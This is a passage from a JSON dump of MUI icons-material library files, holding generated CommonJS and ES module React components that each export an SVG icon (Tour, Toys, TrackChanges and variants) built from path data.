    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.19 12.44-3.24-1.62c1.29-1 2.12-2.56 2.12-4.32 0-3.03-2.47-5.5-5.5-5.5s-5.5 2.47-5.5 5.5c0 2.13 1.22 3.98 3 4.89v3.26c-2.08-.44-2.01-.44-2.26-.44-.53 0-1.03.21-1.41.59L4 16.22l5.09 5.09c.43.44 1.03.69 1.65.69h6.3c.98 0 1.81-.7 1.97-1.67l.8-4.71c.22-1.3-.43-2.58-1.62-3.18M8.07 6.5c0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 .95-.38 1.81-1 2.44V6.5c0-1.38-1.12-2.5-2.5-2.5s-2.5 1.12-2.5 2.5v2.44c-.62-.63-1-1.49-1-2.44m9.77 8.79-.8 4.71h-6.3c-.09 0-.17-.04-.24-.1l-3.68-3.68 4.25.89V6.5c0-.28.22-.5.5-.5s.5.22.5.5v6h1.76l3.46 1.73c.4.2.62.63.55 1.06\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.3 14.23-3.46-1.73h-1.77v-6c0-.28-.22-.5-.5-.5s-.5.22-.5.5v10.61l-4.25-.89 3.68 3.68c.06.06.15.1.24.1h6.3l.8-4.71c.07-.43-.15-.86-.54-1.06\",\n  opacity: \".3\"\n}, \"1\")], 'TouchAppTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TouchAppTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.19 12.44-3.24-1.62c1.29-1 2.12-2.56 2.12-4.32 0-3.03-2.47-5.5-5.5-5.5s-5.5 2.47-5.5 5.5c0 2.13 1.22 3.98 3 4.89v3.26c-2.08-.44-2.01-.44-2.26-.44-.53 0-1.03.21-1.41.59L4 16.22l5.09 5.09c.43.44 1.03.69 1.65.69h6.3c.98 0 1.81-.7 1.97-1.67l.8-4.71c.22-1.3-.43-2.58-1.62-3.18M8.07 6.5c0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 .95-.38 1.81-1 2.44V6.5c0-1.38-1.12-2.5-2.5-2.5s-2.5 1.12-2.5 2.5v2.44c-.62-.63-1-1.49-1-2.44m9.77 8.79-.8 4.71h-6.3c-.09 0-.17-.04-.24-.1l-3.68-3.68 4.25.89V6.5c0-.28.22-.5.5-.5s.5.22.5.5v6h1.76l3.46 1.73c.4.2.62.63.55 1.06\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.3 14.23-3.46-1.73h-1.77v-6c0-.28-.22-.5-.5-.5s-.5.22-.5.5v10.61l-4.25-.89 3.68 3.68c.06.06.15.1.24.1h6.3l.8-4.71c.07-.43-.15-.86-.54-1.06\",\n  opacity: \".3\"\n}, \"1\")], 'TouchAppTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tour.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H7V2H5v20h2v-8h14l-2-5zm-6 5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'Tour');"
  },
  {
    "path": "packages/mui-icons-material/lib/Tour.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H7V2H5v20h2v-8h14l-2-5zm-6 5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'Tour');"
  },
  {
    "path": "packages/mui-icons-material/lib/TourOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H7V2H5v20h2v-8h14l-2-5zm-3.86 5.74.9 2.26H7V6h11.05l-.9 2.26-.3.74zM14 9c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'TourOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TourOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H7V2H5v20h2v-8h14l-2-5zm-3.86 5.74.9 2.26H7V6h11.05l-.9 2.26-.3.74zM14 9c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'TourOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TourRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.45 5.37c.26-.66-.22-1.37-.93-1.37H7V3c0-.55-.45-1-1-1s-1 .45-1 1v19h2v-8h12.52c.71 0 1.19-.71.93-1.37L19 9zM15 9c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'TourRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TourRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.45 5.37c.26-.66-.22-1.37-.93-1.37H7V3c0-.55-.45-1-1-1s-1 .45-1 1v19h2v-8h12.52c.71 0 1.19-.71.93-1.37L19 9zM15 9c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'TourRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TourSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H7V2H5v20h2v-8h14l-2-5zm-6 5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'TourSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TourSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H7V2H5v20h2v-8h14l-2-5zm-6 5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}), 'TourSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TourTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 12V6h11.05l-1.2 3 1.2 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H7V2H5v20h2v-8h14l-2-5zM7 12V6h11.05l-1.2 3 1.2 3zm7-3c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}, \"1\")], 'TourTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TourTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 12V6h11.05l-1.2 3 1.2 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H7V2H5v20h2v-8h14l-2-5zM7 12V6h11.05l-1.2 3 1.2 3zm7-3c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2\"\n}, \"1\")], 'TourTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Toys.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 14c0-1.95-1.4-3.57-3.25-3.92L17.4 6.05C17 4.82 15.85 4 14.56 4H9.44C8.15 4 7 4.82 6.6 6.05L5.81 8.4 4.41 7l.29-.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2 2c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.3-.3 1.79 1.79C3.18 10.72 2 12.22 2 14c0 1.5.83 2.79 2.05 3.48C4.28 18.9 5.51 20 7 20c1.3 0 2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.49 0 2.72-1.1 2.95-2.52C21.17 16.79 22 15.5 22 14M7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4-8H7.41l-.02-.02 1.1-3.3c.14-.41.52-.68.95-.68H11zm2-4h1.56c.43 0 .81.27.95.68l1.1 3.32H13zm4 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Toys');"
  },
  {
    "path": "packages/mui-icons-material/lib/Toys.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 14c0-1.95-1.4-3.57-3.25-3.92L17.4 6.05C17 4.82 15.85 4 14.56 4H9.44C8.15 4 7 4.82 6.6 6.05L5.81 8.4 4.41 7l.29-.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2 2c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.3-.3 1.79 1.79C3.18 10.72 2 12.22 2 14c0 1.5.83 2.79 2.05 3.48C4.28 18.9 5.51 20 7 20c1.3 0 2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.49 0 2.72-1.1 2.95-2.52C21.17 16.79 22 15.5 22 14M7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4-8H7.41l-.02-.02 1.1-3.3c.14-.41.52-.68.95-.68H11zm2-4h1.56c.43 0 .81.27.95.68l1.1 3.32H13zm4 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Toys');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToysOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.75 10.08 17.4 6.05C17 4.82 15.85 4 14.56 4H9.44C8.15 4 7 4.82 6.6 6.05L5.81 8.4 4.41 7l.29-.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2 2c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.3-.3 1.79 1.79C3.18 10.72 2 12.22 2 14c0 1.49.83 2.78 2.05 3.47C4.27 18.9 5.51 20 7 20c1.3 0 2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.49 0 2.73-1.1 2.95-2.53C21.17 16.78 22 15.49 22 14c0-1.95-1.4-3.57-3.25-3.92M13 6h1.56c.43 0 .81.27.95.68l1.1 3.32H13zm-4.51.68c.14-.41.52-.68.95-.68H11v4H7.41l-.02-.02zM7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.49-2.68C18.95 14.53 18.03 14 17 14c-1.3 0-2.4.84-2.82 2H9.82C9.4 14.84 8.3 14 7 14c-1.03 0-1.95.53-2.49 1.32C4.2 14.97 4 14.51 4 14c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2 0 .51-.2.97-.51 1.32\"\n}), 'ToysOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToysOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.75 10.08 17.4 6.05C17 4.82 15.85 4 14.56 4H9.44C8.15 4 7 4.82 6.6 6.05L5.81 8.4 4.41 7l.29-.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2 2c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.3-.3 1.79 1.79C3.18 10.72 2 12.22 2 14c0 1.49.83 2.78 2.05 3.47C4.27 18.9 5.51 20 7 20c1.3 0 2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.49 0 2.73-1.1 2.95-2.53C21.17 16.78 22 15.49 22 14c0-1.95-1.4-3.57-3.25-3.92M13 6h1.56c.43 0 .81.27.95.68l1.1 3.32H13zm-4.51.68c.14-.41.52-.68.95-.68H11v4H7.41l-.02-.02zM7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.49-2.68C18.95 14.53 18.03 14 17 14c-1.3 0-2.4.84-2.82 2H9.82C9.4 14.84 8.3 14 7 14c-1.03 0-1.95.53-2.49 1.32C4.2 14.97 4 14.51 4 14c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2 0 .51-.2.97-.51 1.32\"\n}), 'ToysOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToysRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 14c0-1.95-1.4-3.57-3.25-3.92L17.4 6.05C17 4.82 15.85 4 14.56 4H9.44C8.15 4 7 4.82 6.6 6.05L5.81 8.4 4.41 7l.29-.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2 2c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.3-.3 1.79 1.79C3.18 10.72 2 12.22 2 14c0 1.5.83 2.79 2.05 3.48C4.28 18.9 5.51 20 7 20c1.3 0 2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.49 0 2.72-1.1 2.95-2.52C21.17 16.79 22 15.5 22 14M7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4-8H7.41l-.02-.02 1.1-3.3c.14-.41.52-.68.95-.68H11zm2-4h1.56c.43 0 .81.27.95.68l1.1 3.32H13zm4 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ToysRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToysRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 14c0-1.95-1.4-3.57-3.25-3.92L17.4 6.05C17 4.82 15.85 4 14.56 4H9.44C8.15 4 7 4.82 6.6 6.05L5.81 8.4 4.41 7l.29-.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2 2c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.3-.3 1.79 1.79C3.18 10.72 2 12.22 2 14c0 1.5.83 2.79 2.05 3.48C4.28 18.9 5.51 20 7 20c1.3 0 2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.49 0 2.72-1.1 2.95-2.52C21.17 16.79 22 15.5 22 14M7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4-8H7.41l-.02-.02 1.1-3.3c.14-.41.52-.68.95-.68H11zm2-4h1.56c.43 0 .81.27.95.68l1.1 3.32H13zm4 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ToysRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToysSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.72 10-2-6H7.28L5.81 8.4 4.41 7l1-1L4 4.59.59 8 2 9.41l1-1L4.59 10H2v8h2.18c.41 1.16 1.52 2 2.82 2s2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.3 0 2.41-.84 2.82-2H22v-8zM7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4-8H7.41l-.02-.02L8.72 6H11zm2 0V6h2.28l1.33 4zm4 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ToysSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToysSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.72 10-2-6H7.28L5.81 8.4 4.41 7l1-1L4 4.59.59 8 2 9.41l1-1L4.59 10H2v8h2.18c.41 1.16 1.52 2 2.82 2s2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.3 0 2.41-.84 2.82-2H22v-8zM7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4-8H7.41l-.02-.02L8.72 6H11zm2 0V6h2.28l1.33 4zm4 8c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ToysSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToysTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 12H6c-1.1 0-2 .9-2 2 0 .51.2.97.51 1.32C5.05 14.53 5.97 14 7 14c1.3 0 2.4.84 2.82 2h4.37c.41-1.16 1.51-2 2.82-2 1.03 0 1.95.53 2.49 1.32.3-.35.5-.81.5-1.32 0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.75 10.08 17.4 6.05C17 4.82 15.85 4 14.56 4H9.44C8.15 4 7 4.82 6.6 6.05L5.81 8.4 4.41 7l.29-.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2 2c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.3-.3 1.79 1.79C3.18 10.72 2 12.22 2 14c0 1.49.83 2.78 2.05 3.47C4.27 18.9 5.51 20 7 20c1.3 0 2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.49 0 2.73-1.1 2.95-2.53C21.17 16.78 22 15.49 22 14c0-1.95-1.4-3.57-3.25-3.92M13 6h1.56c.43 0 .81.27.95.68l1.1 3.32H13zm-4.51.68c.14-.41.52-.68.95-.68H11v4H7.41l-.02-.02zM7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.49-2.68C18.95 14.53 18.03 14 17 14c-1.3 0-2.4.84-2.82 2H9.82C9.4 14.84 8.3 14 7 14c-1.03 0-1.95.53-2.49 1.32C4.2 14.97 4 14.51 4 14c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2 0 .51-.2.97-.51 1.32\"\n}, \"1\")], 'ToysTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ToysTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12H6c-1.1 0-2 .9-2 2 0 .51.2.97.51 1.32C5.05 14.53 5.97 14 7 14c1.3 0 2.4.84 2.82 2h4.37c.41-1.16 1.51-2 2.82-2 1.03 0 1.95.53 2.49 1.32.3-.35.5-.81.5-1.32 0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.75 10.08 17.4 6.05C17 4.82 15.85 4 14.56 4H9.44C8.15 4 7 4.82 6.6 6.05L5.81 8.4 4.41 7l.29-.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2 2c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l.3-.3 1.79 1.79C3.18 10.72 2 12.22 2 14c0 1.49.83 2.78 2.05 3.47C4.27 18.9 5.51 20 7 20c1.3 0 2.4-.84 2.82-2h4.37c.41 1.16 1.51 2 2.82 2 1.49 0 2.73-1.1 2.95-2.53C21.17 16.78 22 15.49 22 14c0-1.95-1.4-3.57-3.25-3.92M13 6h1.56c.43 0 .81.27.95.68l1.1 3.32H13zm-4.51.68c.14-.41.52-.68.95-.68H11v4H7.41l-.02-.02zM7 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.49-2.68C18.95 14.53 18.03 14 17 14c-1.3 0-2.4.84-2.82 2H9.82C9.4 14.84 8.3 14 7 14c-1.03 0-1.95.53-2.49 1.32C4.2 14.97 4 14.51 4 14c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2 0 .51-.2.97-.51 1.32\"\n}, \"1\")], 'ToysTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChanges.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.07 4.93-1.41 1.41C19.1 7.79 20 9.79 20 12c0 4.42-3.58 8-8 8s-8-3.58-8-8c0-4.08 3.05-7.44 7-7.93v2.02C8.16 6.57 6 9.03 6 12c0 3.31 2.69 6 6 6s6-2.69 6-6c0-1.66-.67-3.16-1.76-4.24l-1.41 1.41C15.55 9.9 16 10.9 16 12c0 2.21-1.79 4-4 4s-4-1.79-4-4c0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2h-1C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-2.76-1.12-5.26-2.93-7.07\"\n}), 'TrackChanges');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChanges.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.07 4.93-1.41 1.41C19.1 7.79 20 9.79 20 12c0 4.42-3.58 8-8 8s-8-3.58-8-8c0-4.08 3.05-7.44 7-7.93v2.02C8.16 6.57 6 9.03 6 12c0 3.31 2.69 6 6 6s6-2.69 6-6c0-1.66-.67-3.16-1.76-4.24l-1.41 1.41C15.55 9.9 16 10.9 16 12c0 2.21-1.79 4-4 4s-4-1.79-4-4c0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2h-1C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-2.76-1.12-5.26-2.93-7.07\"\n}), 'TrackChanges');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChangesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.07 4.93-1.41 1.41C19.1 7.79 20 9.79 20 12c0 4.42-3.58 8-8 8s-8-3.58-8-8c0-4.08 3.05-7.44 7-7.93v2.02C8.16 6.57 6 9.03 6 12c0 3.31 2.69 6 6 6s6-2.69 6-6c0-1.66-.67-3.16-1.76-4.24l-1.41 1.41C15.55 9.9 16 10.9 16 12c0 2.21-1.79 4-4 4s-4-1.79-4-4c0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2h-1C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-2.76-1.12-5.26-2.93-7.07\"\n}), 'TrackChangesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChangesOutlined.mjs",
